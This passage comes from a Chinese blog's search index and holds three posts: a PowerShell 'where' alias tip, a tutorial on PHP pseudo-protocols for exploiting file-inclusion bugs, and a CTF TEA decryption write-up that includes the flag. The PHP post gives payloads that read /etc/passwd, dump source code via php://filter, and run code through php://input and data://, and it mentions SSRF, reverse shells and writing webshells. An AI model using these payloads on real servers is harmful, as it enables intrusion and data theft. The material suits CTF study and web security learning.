    <content type="html"><![CDATA[<h3 id="脚本命令和普通命令的区别"><a href="#脚本命令和普通命令的区别" class="headerlink" title="脚本命令和普通命令的区别"></a>脚本命令和普通命令的区别</h3><blockquote><p>在我们将windows系统调成可以执行脚本命令之后我们的许多命令在cmd或ise中可能无法执行这可能是因为命名的原因   </p></blockquote><p>开启脚本执行之前</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">C:\Users\agesh&gt; where calc<br>C:\Windows\System32\calc.exe<br></code></pre></td></tr></table></figure><p>开启之后</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">PS C:\data\code&gt; where calc<br>PS C:\data\code&gt;<br></code></pre></td></tr></table></figure><p>解决办法</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">PS C:\Users\Bill&gt; where.exe calc<br>C:\Windows\System32\calc.exe<br></code></pre></td></tr></table></figure><h4 id="解释"><a href="#解释" class="headerlink" title="解释"></a>解释</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell">PS C:\Users\Bill&gt; where  [cc lang=&quot;powershell&quot;]<br>cmdlet Where-Object at command pipeline position 1<br>Supply values for the following parameters:<br>Property:<br></code></pre></td></tr></table></figure><blockquote><p>所以在写入where calc时执行的其实是where-object cacl这是没有返回值的，不是执行where.exe calc<br>但是在非脚本名模式下不会识别位where-object于是可以正常执行</p></blockquote><p><a href="https://www.codenong.com/16775686/">相关链接</a></p>]]></content>
    
    
    <categories>
      
      <category>工具</category>
      
    </categories>
    
    
    <tags>
      
      <tag>script</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>php伪协议</title>
    <link href="/2024/09/11/php%E4%BC%AA%E5%8D%8F%E8%AE%AE/"/>
    <url>/2024/09/11/php%E4%BC%AA%E5%8D%8F%E8%AE%AE/</url>
    
    <content type="html"><![CDATA[<h1 id="php伪协议"><a href="#php伪协议" class="headerlink" title="php伪协议"></a>php伪协议</h1><h2 id="大类讲解"><a href="#大类讲解" class="headerlink" title="大类讲解"></a>大类讲解</h2><ol><li><p>file:&#x2F;&#x2F; 访问本地文件系统<br>用来读取本地的文件，当用于文件读取函数时可以用。<br>常见检测是否存在漏洞写法：<br><a href="http://www.xxx.com/?file=file:///etc/passwd">www.xxx.com/?file=file:///etc/passwd</a><br>此协议不受allow_url_fopen,allow_url_include配置影响  </p></li><li><p>php:&#x2F;&#x2F;input协议<br> 使用方法：<br> 在get处填上php:&#x2F;&#x2F;input如下<br> <a href="http://www.xxx.xxx/?cmd=php://input">www.xxx.xxx/?cmd=php://input</a><br> 然后用hackbar或者其他工具，postPHP代码进行检验，如  <?php>phpinfo()?><br> 此协议受allow_url_include配置影响  </p></li><li><p>php:&#x2F;&#x2F;filter协议<br>此协议一般用来查看源码<br>一般用法如下<br><a href="http://www.xxx.xxx/?file=php://filter/read=covert,vase64-encode/resource=index.php">www.xxx.xxx/?file=php://filter/read=covert,vase64-encode/resource=index.php</a><br>出来的是base64码需要进行解码<br>此协议不受allow_url_fopen,allow_url_include配置影响</p></li><li><p>data:&#x2F;&#x2F; 读取数据<br>需要allow_url_fopen,allow_url_include均为on<br>这是一个输入流执行的协议，它可以向服务器输入数据，而服务器也会执行。常用代码如下：<br><a href="http://127.0.0.1/include.php?file=data://text/plain">http://127.0.0.1/include.php?file=data://text/plain</a>,<?php%20phpinfo();?><br>text&#x2F;plain，表示的是文本<br>text&#x2F;plain;base64, 若纯文本没用可用base64编码</p></li><li><p>dict:&#x2F;&#x2F;<br>与gopher协议一般都出现在ssrf协议中，用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。<br>常见用法：<br> 探测端口指纹<br> 192.168.0.0&#x2F;?url&#x3D;dict:&#x2F;&#x2F;192.168.0.0:6379<br> 以上为探测6379（redis）端口的开发<br> 反弹shell</p></li><li><p>gopher:&#x2F;&#x2F;<br>gopher:&#x2F;&#x2F;协议经常用来打内网的各种应用如mysql redis等。一般要用一些工具来进行构造payload 如gopherus等</p></li><li><p>zip:&#x2F;&#x2F;<br>zip:&#x2F;&#x2F;协议可以用来访问服务器中的压缩包，无论压缩包里面的文件是什么类型的都可以执行。也就是说如果服务器禁止我们上传php文件那么我们可以把php文件改后缀然后压缩再上传，然后用zip协议访问。要利用zip协议时一般要结合文件上传与文件包含两个漏洞<br>一般的代码为<br><a href="http://www.xxx.xxx/?file=zip:///php.zip#phpinfo.jpg">www.xxx.xxx/?file=zip:///php.zip#phpinfo.jpg</a><br>其中的#好表示的是php.zip的子文件名。有时候#需要变成&#x3D;&#x3D;%23&#x3D;&#x3D;，url编码。</p></li><li><p>phar:&#x2F;&#x2F;<br>phar:&#x2F;&#x2F;协议与zip:&#x2F;&#x2F;协议类似，它也可以访问zip包，访问的格式与zip的不同，如下所示</p></li></ol><h1 id="实际使用"><a href="#实际使用" class="headerlink" title="实际使用"></a>实际使用</h1><h2 id="文件包含函数"><a href="#文件包含函数" class="headerlink" title="文件包含函数"></a>文件包含函数</h2><blockquote><p>文件包含所可能有的函数<br>php当中会造成文件包含漏洞的函数有：include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file<br>实现方法</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">1</span> ?file=data:text/plain,<span class="hljs-meta">&lt;?php</span> <span class="hljs-title function_ invoke__">phpinfo</span>()<span class="hljs-meta">?&gt;</span>  <span class="hljs-comment">#GET数据</span><br><span class="hljs-number">2</span> ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=  <span class="hljs-comment">#后面的base64字符是需要传入的字符串的base64编码</span><br><span class="hljs-number">3</span> ?file=php:<span class="hljs-comment">//input [POST DATA:]&lt;?php phpinfo()?&gt;  #POST数据</span><br><span class="hljs-number">4</span> ?file=php:<span class="hljs-comment">//filter/read=convert.base64-encode/resource=xxx.php  #get读源码</span><br></code></pre></td></tr></table></figure><h2 id="php伪协议-1"><a href="#php伪协议-1" class="headerlink" title="php伪协议"></a>php伪协议</h2><blockquote><p>需要开启allow_url_fopen的：php:&#x2F;&#x2F;input、php:&#x2F;&#x2F;stdin、php:&#x2F;&#x2F;memory和php:&#x2F;&#x2F;temp<br>不需要开启allow_wrl_fopen的：php:&#x2F;&#x2F;filter<br>在CTF中经常使用的是php:&#x2F;&#x2F;filter和php:&#x2F;&#x2F;input<br>php:&#x2F;&#x2F;filter用于读取源码，php:&#x2F;&#x2F;input用于执行php代码<br>php:&#x2F;&#x2F;input需要post请求提交数据<br>php:&#x2F;&#x2F;filter可以get提交?a&#x3D;php:&#x2F;&#x2F;filter&#x2F;read&#x3D;convert.base64-encode&#x2F;resource&#x3D;xxx.php</p></blockquote><h2 id="data伪协议"><a href="#data伪协议" class="headerlink" title="data伪协议"></a>data伪协议</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">?xxx=data:<span class="hljs-comment">//text/plain;base64,想要file_get_contents()函数返回的值的base64编码</span><br>?file=data:text/plain,<span class="hljs-meta">&lt;?php</span> <span class="hljs-title function_ invoke__">phpinfo</span>()<span class="hljs-meta">?&gt;</span> <br></code></pre></td></tr></table></figure><h2 id="file协议"><a href="#file协议" class="headerlink" title="file协议"></a>file协议</h2><blockquote><p>File:&#x2F;&#x2F; 访问本地文件系统<br>file:&#x2F;&#x2F; 用于访问本地文件系统，如c:盘中的东西。在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。<br>file:&#x2F;&#x2F; [文件的绝对路径和文件名]<br>linux 系统环境下：?file&#x3D;file:&#x2F;&#x2F;&#x2F;etc&#x2F;passwd<br>winows 系统环境下：?file&#x3D;file:&#x2F;&#x2F;&#x2F;E:\phpStudy\WWW\code\phpinfo.php</p></blockquote><p>总结：File协议用于读取系统文件，c盘关键内容。Php:&#x2F;&#x2F;filter 用来读取文件内容，但是要base64后出来，否则会造成文件执行从而只看到执行结果。Php:&#x2F;&#x2F;input（代码执行）可将post请求中的数据作为PHP代码执行。可以用于写木马。Data和input相似，可以代码执行，但只有在php&lt;5.3且include&#x3D;on时可以写木马。</p>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>php</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>tea.dm</title>
    <link href="/2024/09/10/tea/"/>
    <url>/2024/09/10/tea/</url>
    
    <content type="html"><![CDATA[<h1 id="tea"><a href="#tea" class="headerlink" title="tea"></a>tea</h1><p>终于自己做出一道tea了乐<br>看原题<br><img src="http://gitee.com/fogpost/photo/raw/master/202409122053979.png" srcset="/img/loading.gif" lazyload><br>&emsp;典型的tea直接套模板，但是有问题，就是py中不会限定为32位所以最后的答案会超级大，我们就要去进行一个&amp;ffffffff的操作使数值正确<br>&emsp;然后就是关于题目中的小问题，首先就是delta，标准的tea是0x9E3779B9，但是在ida中总是会出现变成-0x61c88647的问题需要注意，然后就是最后的v5怎么求,就是一个偏移相加，在exp中有了</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">decrypt</span>(<span class="hljs-params">v0, v1</span>):<br>    delta = <span class="hljs-number">0x9E3779B9</span><br>    v3 = delta * <span class="hljs-number">32</span><br>    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>):<br>        v1 = (v1 - ((v0 + v3) ^ (<span class="hljs-number">16</span> * v0 + <span class="hljs-number">1634038898</span>) ^ ((v0 &gt;&gt; <span class="hljs-number">5</span>) + <span class="hljs-number">1634038904</span>))) &amp; <span class="hljs-number">0xFFFFFFFF</span><br>        v0 = (v0 - ((v1 + v3) ^ (<span class="hljs-number">16</span> * v1 + <span class="hljs-number">1702060386</span>) ^ ((v1 &gt;&gt; <span class="hljs-number">5</span>) + <span class="hljs-number">1870148662</span>))) &amp; <span class="hljs-number">0xFFFFFFFF</span><br>        v3 = (v3 - delta) &amp; <span class="hljs-number">0xFFFFFFFF</span><br>    <span class="hljs-keyword">return</span> v0, v1<br><span class="hljs-comment">#已知的加密结果</span><br>v4 = <span class="hljs-number">676078132</span><br>v5 = <span class="hljs-number">957400408</span><br><span class="hljs-comment">#解密</span><br>v10, v11 = decrypt(v4, v5)<br><span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Decrypted v10: <span class="hljs-subst">&#123;<span class="hljs-built_in">hex</span>(v10)&#125;</span>, v11: <span class="hljs-subst">&#123;<span class="hljs-built_in">hex</span>(v11)&#125;</span>&quot;</span>)<br>i=<span class="hljs-number">0x49BD</span><br>j=<span class="hljs-number">0x8e00</span><br><span class="hljs-built_in">print</span>(<span class="hljs-built_in">hex</span>(i)+<span class="hljs-string">&quot; &quot;</span>+<span class="hljs-built_in">hex</span>(j)+<span class="hljs-string">&quot; &quot;</span>+<span class="hljs-built_in">hex</span>(i|(j&lt;&lt;<span class="hljs-number">16</span>)))<br><span class="hljs-comment">#moectf&#123;836153a5-8e00-49bd-9c42-caf30620caaf&#125;</span><br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>reverse</tag>
      
    </tags>
    
  </entry>
  
  
  
  
</search>